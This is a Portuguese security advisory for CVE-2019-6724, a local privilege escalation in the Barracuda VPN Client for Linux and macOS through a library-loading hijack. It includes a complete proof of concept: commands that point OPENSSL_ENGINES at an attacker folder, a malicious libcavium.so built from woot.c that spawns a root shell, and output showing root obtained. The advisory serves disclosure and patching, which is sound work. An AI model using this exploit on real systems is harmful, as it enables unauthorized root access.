For the English version of this alert, click here.
Allele Security Alert
ASA-2019-00157
Identificador(es)
ASA-2019-00157, CVE-2019-6724
Título
Escalação de privilégios em cliente VPN
Fabricante(s)
Barracuda
Produto(s)
Barracuda VPN Client para macOS
Barracuda VPN Client para Linux
Versão(ões) afetada(s)
Barracuda VPN Client anterior a versão 5.0.2.7 para Linux
Barracuda VPN Client anterior a versão 5.0.2.7 para macOS
Versão(ões) corrigida(s)
Barracuda VPN Client versão 5.0.2.7 para Linux
Barracuda VPN Client versão 5.0.2.7 para macOS
Prova de conceito
Sim
Descrição
O componente barracudavpn do Barracuda VPN Client anterior à versão 5.0.2.7 para Linux, macOS e OpenBSD é executado como um processo privilegiado e pode permitir que um atacante local sem privilégios carregue uma biblioteca mal-intencionada, resultando na execução de código arbitrário como root.
Detalhes técnicos
O binário barracudavpn tentou carregar uma biblioteca inexistente chamada libcavium.so de /opt/phio/libs64/engines.
[root@localhost ~]# strace -u user1 -o /tmp/vpn.trace -ff -s 1000 /usr/local/bin/barracudavpn [root@localhost ~]# grep \\.so /tmp/vpn.trace open("/opt/phion/libs/engines/libcavium.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
O caminho que ele tenta carregar uma biblioteca pode ser influenciado pela variável de ambiente OPENSSL_ENGINES.
[root@localhost ~]# export OPENSSL_ENGINES=/foobar [root@localhost ~]# timeout 10s strace -u user1 -ff /usr/local/bin/barracudavpn 2>&1|grep '\.so' open("/foobar/libcavium.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
Então, alcançar a escalação de privilégios é simples.
[user1@localhost ~]$ mkdir foobar [user1@localhost ~]$ gcc -fPIC -Wall -o woot.o -c woot.c [user1@localhost ~]$ gcc -Wall -shared -Wl,-soname,libcavium.so -Wl,-init,woot -o foobar/libcavium.so woot.o [user1@localhost ~]$ export OPENSSL_ENGINES=foobar
O conteúdo do arquivo woot.c:
#include <stdlib.h> #include <sys/types.h> #include <unistd.h> void woot(){ setreuid(0,0); execl("/bin/sh","/bin/sh",NULL); }
Depois de criar uma biblioteca maliciosa e alterar a variável de ambiente, apenas executar /usr/local/bin/barracudavpn obterá escalação de privilégios.
[user1@localhost ~]$ id uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [user1@localhost ~]$ /usr/local/bin/barracudavpn sh-4.2# id uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 sh-4.2#
Créditos
Rich Mirch
Referência(s)
CVE-2019-6724 : Barracuda VPN Client Privilege Escalation on Linux and macOS
https://blog.mirch.io/2019/02/14/cve-2019-6724-barracuda-vpn-client-privilege-escalation-on-linux-and-macos/
Release Notes – Barracuda VPN Client for macOS
https://campus.barracuda.com/product/networkaccessclient/doc/78154147/release-notes-barracuda-vpn-client-for-macos/
Release Notes – Barracuda VPN Client for Linux
https://campus.barracuda.com/product/networkaccessclient/doc/78154149/release-notes-barracuda-vpn-client-for-linux/
CVE-2019-6724.sh
https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2019-6724.sh
CVE-2019-6724
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6724
CVE-2019-6724
https://nvd.nist.gov/vuln/detail/CVE-2019-6724
Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.
Última modificação: 27 março 2019